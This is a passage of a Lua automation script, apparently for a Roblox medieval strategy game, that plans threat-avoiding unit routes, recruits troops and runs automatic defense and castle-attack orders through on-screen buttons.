theirBuildings:FindFirstChild("Castle") local point = theirCastle and alive(theirCastle) and pos(theirCastle) if point then local d = flatDistance(reference or castleAt, point) if d < best then nearest, best = point, d end end end return nearest end local threatCache = nil local threatCacheUntil = 0 local function staticThreats() if threatCache and os.clock() < threatCacheUntil then return threatCache end local result = {} for _, enemy in ipairs(enemies()) do for _, b in ipairs(models(enemy:FindFirstChild("Buildings"))) do local name = b.Name:lower() if name == "castle" or name:find("tower", 1, true) then local point = pos(b) if point then local minimum = name == "castle" and CFG.CastleDangerRadius or CFG.TowerDangerRadius local actual = tonumber(b:GetAttribute("Range")) or 0 table.insert(result, { point = point, radius = math.max(minimum, actual + CFG.MinimumThreatMargin), name = b.Name, }) end end end end threatCache = result threatCacheUntil = os.clock() + 1.5 return result end local function unsafe(point, circles, extra) if not point then return true end for _, c in ipairs(circles) do if flatDistance(point, c.point) <= c.radius + (extra or 0) then return true, c end end return false, nil end -- Geometry check against *every point* on a straight segment, not only the -- destination. Roblox movement may still choose a different actual route. local function segmentSafe(a, b, circles, margin) if not a or not b then return false end local ax, az = a.X, a.Z local dx, dz = b.X - ax, b.Z - az local length2 = dx * dx + dz * dz for _, c in ipairs(circles) do local cx, cz = c.point.X - ax, c.point.Z - az local t = length2 > 0 and math.clamp((cx * dx + cz * dz) / length2, 0, 1) or 0 local ex, ez = ax + dx * t - c.point.X, az + dz * t - c.point.Z local radius = c.radius + (margin or 0) if ex * ex + ez * ez <= radius * radius then return false end end return true end local function routeAroundThreats(from, goal, circles) if not from or not goal or unsafe(goal, circles, 5) then return nil end if segmentSafe(from, goal, circles, 6) then return {goal} end if unsafe(from, circles, 1) then return nil end -- Visibility graph: draw safe candidate waypoints around hostile -- Castle/Tower circles and find the shortest connected route. local nodes = {from, goal} local candidates = {} for _, c in ipairs(circles) do table.insert(candidates, c) end table.sort(candidates, function(a, b) return flatDistance(a.point, from) + flatDistance(a.point, goal) < flatDistance(b.point, from) + flatDistance(b.point, goal) end) local maxThreats = math.min(#candidates, 8) for i = 1, maxThreats do local c = candidates[i] if flatDistance(c.point, from) + flatDistance(c.point, goal) < flatDistance(from, goal) + 2 * (c.radius + 110) then for j = 0, 15 do local angle = j * math.pi / 8 local r = c.radius + 16 local sample = Vector3.new( c.point.X + math.cos(angle) * r, goal.Y, c.point.Z + math.sin(angle) * r) if not unsafe(sample, circles, 6) then table.insert(nodes, sample) end end end end local distance, previous, seen = {[1] = 0}, {}, {} for _ = 1, #nodes do local choice, best = nil, math.huge for i = 1, #nodes do if not seen[i] and (distance[i] or math.huge) < best then choice, best = i, distance[i] end end if not choice then break end if choice == 2 then break end seen[choice] = true for j = 1, #nodes do if not seen[j] and j ~= choice and segmentSafe(nodes[choice], nodes[j], circles, 6) then local nextDist = best + flatDistance(nodes[choice], nodes[j]) if nextDist < (distance[j] or math.huge) then distance[j], previous[j] = nextDist, choice end end end end if not distance[2] then return nil end local route = {} local cursor = 2 while cursor and cursor ~= 1 do table.insert(route, 1, nodes[cursor]) cursor = previous[cursor] end if cursor ~= 1 then return nil end return route end local function safeExitPoint(from, circles) local bad, threat = unsafe(from, circles, 3) if not bad then return nil end local delta = Vector3.new(from.X - threat.point.X, 0, from.Z - threat.point.Z) if delta.Magnitude < 0.01 then delta = castleAt - threat.point end if delta.Magnitude < 0.01 then delta = Vector3.new(1, 0, 0) end return Vector3.new(threat.point.X, from.Y, threat.point.Z) + delta.Unit * (threat.radius + 28) end local function orderSafe(unit, goal, label, extraThreats) if not active or not alive(unit) then return false end local here = pos(unit) if not here or not goal then return false end local circles = extraThreats or staticThreats() local exit = safeExitPoint(here, circles) if exit then moveOne(unit, exit) return false end local route = routeAroundThreats(here, goal, circles) if not route then return false end if routedOrders[unit] then routedOrders[unit].cancel = true end local token = {cancel = false, goal = goal, start = os.clock()} routedOrders[unit] = token task.spawn(function() for _, waypoint in ipairs(route) do if not active or token.cancel or not alive(unit) then break end local moveSent = 0 local stepStart = os.clock() while active and not token.cancel and alive(unit) and os.clock() - stepStart < 60 do local current = pos(unit) if not current then break end if flatDistance(current, waypoint) < 12 then break end local threats = extraThreats or staticThreats() if unsafe(waypoint, threats, 3) then break end if os.clock() - moveSent > 13 then moveOne(unit, waypoint) moveSent = os.clock() end task.wait(0.65) end local current = pos(unit) if not current or flatDistance(current, waypoint) > 18 then break end end if routedOrders[unit] == token then routedOrders[unit] = nil end end) return true end local function rallyPoint() if manualDefense then return castleAt end local circles = staticThreats() local chosen, best = nil, math.huge for _, mill in ipairs(friendlyWindmills()) do local here = pos(mill) if here then local enemy = enemyCastleAt(here) local towardHome = castleAt - here if towardHome.Magnitude > 1 then local rally = here + towardHome.Unit * CFG.RallyBackoff if not unsafe(rally, circles, 6) and routeAroundThreats(castleAt, rally, circles) then local distance = enemy and flatDistance(here, enemy) or 999999 if distance < best then chosen, best = rally, distance end end end end end if chosen then return chosen end return castleAt end local function enemyCombat() local result = {} for _, enemy in ipairs(enemies()) do for _, unit in ipairs(models(enemy:FindFirstChild("Units"))) do if unit.Name ~= "Builder" and unit.Name ~= "Repairman" and unit.Name ~= "Fishing Boat" and unit.Name ~= "Transport Ship" then table.insert(result, unit) end end end return result end local function nearbyFriendlyObjective(point, objectivePositions) if flatDistance(point, castleAt) <= CFG.DefenseRadius then return true end for _, at in ipairs(objectivePositions) do if flatDistance(point, at) <= CFG.ForwardDefenseRadius then return true end end return false end local function pickDefensiveTarget(soldier, wasAttacked, hostiles, objectivePositions) local here = pos(soldier) if not here then return nil end local closest, best = nil, CFG.EngagementDistance local range = tonumber(soldier:GetAttribute("Range")) or 16 for _, enemy in ipairs(hostiles) do local at = pos(enemy) if at and (nearbyFriendlyObjective(at, objectivePositions) or (wasAttacked and flatDistance(here, at) < 85)) then local d = flatDistance(here, at) if d < math.max(best, range + 8, wasAttacked and 85 or 0) then closest, best = enemy, d end end end return closest, range end local combatUnits local function defenderManager() while active do if manualDefense and not assaultMode then local now = os.clock() local batch = {} for _, soldier in ipairs(combatUnits()) do local here = pos(soldier) if here and alive(soldier) and flatDistance(here, castleAt) > 13 and now - (defenderReturnOrders[soldier] or -1000) >= 18 then if routedOrders[soldier] then routedOrders[soldier].cancel = true end table.insert(batch, {soldier, castleAt}) defenderReturnOrders[soldier] = now if #batch >= 8 then sendMovement(batch) batch = {} task.wait(0.25) end end end if #batch > 0 then sendMovement(batch) end else local default = rallyPoint() local hostiles = enemyCombat() local objectivePositions = {} for _, mill in ipairs(friendlyWindmills()) do local at = pos(mill) if at then table.insert(objectivePositions, at) end end local circles = staticThreats() local troops = {} for _, name in ipairs({"Knight", "Crossbower"}) do for _, soldier in ipairs(models(units, name)) do table.insert(troops, soldier) end end for _, soldier in ipairs(troops) do if active and not assaultMode and alive(soldier) then local here = pos(soldier) if here then local danger = unsafe(here, circles, 0) if danger then local retreat = safeExitPoint(here, circles) if retreat then if routedOrders[soldier] then routedOrders[soldier].cancel = true end moveOne(soldier, retreat) end else local currentHP = tonumber(soldier:GetAttribute("Health")) local previousHP = defenderHealth[soldier] local wasAttacked = currentHP and previousHP and currentHP < previousHP defenderHealth[soldier] = currentHP or previousHP local enemy, attackRange = pickDefensiveTarget( soldier, wasAttacked, hostiles, objectivePositions) local goal = default local shouldMove = true if enemy then local hostile = pos(enemy) if hostile then local distance = flatDistance(here, hostile) if distance <= math.max(4, attackRange * 0.85) then -- The game auto-attacks at range. Don't cancel its attacks. shouldMove = false else local toward = here - hostile if toward.Magnitude > 0.1 then goal = hostile + toward.Unit * math.max(4, attackRange * 0.72) end end end end if shouldMove and goal and not unsafe(goal, circles, 5) then local last = defenderOrders[soldier] local change = not last or flatDistance(last.goal, goal) > 17 or os.clock() - last.time > (enemy and 18 or 75) if change and flatDistance(here, goal) > 16 then if orderSafe(soldier, goal) then defenderOrders[soldier] = {goal = goal, time = os.clock()} end end elseif not shouldMove and routedOrders[soldier] then routedOrders[soldier].cancel = true end end end end end end detail.Text = (assaultMode and "ATTACK | " or (manualDefense and "CASTLE HOLD | " or "AUTO DEFENSE | ")) .. "POP " .. stats.CurrentUnits.Value .. "/" .. stats.MaxUnits.Value .. " | FARMS " .. completedCount("Windmill") .. " | BUILDERS " .. #builders() .. " | KNIGHTS " .. #models(units, "Knight") .. " | CROSS " .. #models(units, "Crossbower") local builderState = {} for i, worker in ipairs(builders()) do if i > 3 then break end table.insert(builderState, tostring(i) .. ":" .. tostring(farmStatus[worker] or "WAITING")) end workersLabel.Text = table.concat(builderState, " | ") task.wait(CFG.UpdateSeconds) end end local function recruitManager() while active do updateRecruitQueue() local barracks = findBuilding("Barracks", true) if barracks then local knights = #models(units, "Knight") + pendingRecruit.Knight local cross = #models(units, "Crossbower") + pendingRecruit.Crossbower local choice = knights / math.max(1, knights + cross) < 0.60 and "Knight" or "Crossbower" local reserve = CFG.ArmyFundsReserve local freeSpace = stats.MaxUnits.Value - stats.CurrentUnits.Value if freeSpace <= CFG.HouseFreeSpaceBuffer then reserve = math.max(reserve, cost("House")) end if stats.CurrentBuildings.Value >= stats.MaxBuildings.Value - 2 then reserve = math.max(reserve, cost("Builder Hut")) end tryRecruit(choice, barracks, reserve) end task.wait(2) end end combatUnits = function() local result = {} local noncombat = { Builder = true, Repairman = true, ["Fishing Boat"] = true, ["Transport Ship"] = true, } for _, unit in ipairs(models(units)) do local name = unit.Name if not noncombat[name] and not name:lower():find("ship") and not name:lower():find("boat") then table.insert(result, unit) end end return result end local function attackCastleNow() if not active then return end local enemy = enemyCastleAt(castleAt) if not enemy then status("ATTACK FAILED: NO ENEMY CASTLE FOUND") return end assaultTarget = enemy assaultOrdered = {} assaultMode = true manualDefense = false defenderOrders = {} for _, route in pairs(routedOrders) do route.cancel = true end status("ATTACK ORDER ISSUED - DEFENSE PAUSED") end attackButton.MouseButton1Click:Connect(function() attackCastleNow() if assaultMode and stats.CurrentUnits.Value >= CFG.AutoAttackPopulation then -- Honor a later manual DEFEND instead of instantly re-attacking. autoAttackTriggered = true end end) defendButton.MouseButton1Click:Connect(function() assaultMode = false manualDefense = true assaultTarget = nil assaultOrdered = {} defenderOrders = {} defenderReturnOrders = {} for _, route in pairs(routedOrders) do route.cancel = true end -- Immediate recall: the button works even before the next defense tick. -- Recall every owned unit once, including Builders; farm assignments may -- resume afterward so the economy and housing can continue. task.spawn(function() local batch = {} local recalled = 0 for _, unit in ipairs(models(units)) do if not active then break end if alive(unit) then table.insert(batch, {unit, castleAt}) recalled = recalled + 1 if #batch >= 8 then sendMovement(batch) batch = {} task.wait(0.15) end end end if #batch > 0 then sendMovement(batch) end status("DEFEND: " .. recalled .. " UNITS ORDERED HOME") end) end) local function assaultManager() while active do -- Trigger the existing, tested ATTACK CASTLE command once when -- population reaches 88. A later manual DEFEND remains respected. if not assaultMode and not autoAttackTriggered and stats.CurrentUnits.Value >= CFG.AutoAttackPopulation then attackCastleNow() if assaultMode then autoAttackTriggered = true status("AUTO ATTACK: POPULATION " .. stats.CurrentUnits.Value .. " / " .. stats.MaxUnits.Value) end end if assaultMode and assaultTarget then local batch = {} local now = os.clock() local moved = 0 for _, soldier in ipairs(combatUnits()) do if alive(soldier) and pos(soldier) then if flatDistance(pos(soldier), assaultTarget) > 13 and now - (assaultOrdered[soldier] or -1000) > 24 then table.insert(batch, {soldier, assaultTarget}) assaultOrdered[soldier] = now if #batch >= 8 then sendMovement(batch) moved = moved + #batch batch = {} task.wait(0.3) end end end end if #batch > 0 then sendMovement(batch) moved = moved + #batch end if moved > 0 then status("ATTACKING ENEMY CASTLE: " .. moved .. " TROOPS ORDERED") end end task.wait(5) end end local function startManager(name, fn) task.spawn(function() local ok, err = pcall(fn) if not ok then reportError(name, err) end end) end startManager("BUILDERS", builderManager) startManager("HOME BUILDINGS", homeManager) startManager("RECRUITMENT", recruitManager) startManager("DEFENSE", defenderManager) startManager("MANUAL ATTACK", assaultManager) print("MEDIEVAL RTS DEFENSIVE COMMANDER V9 LOADED")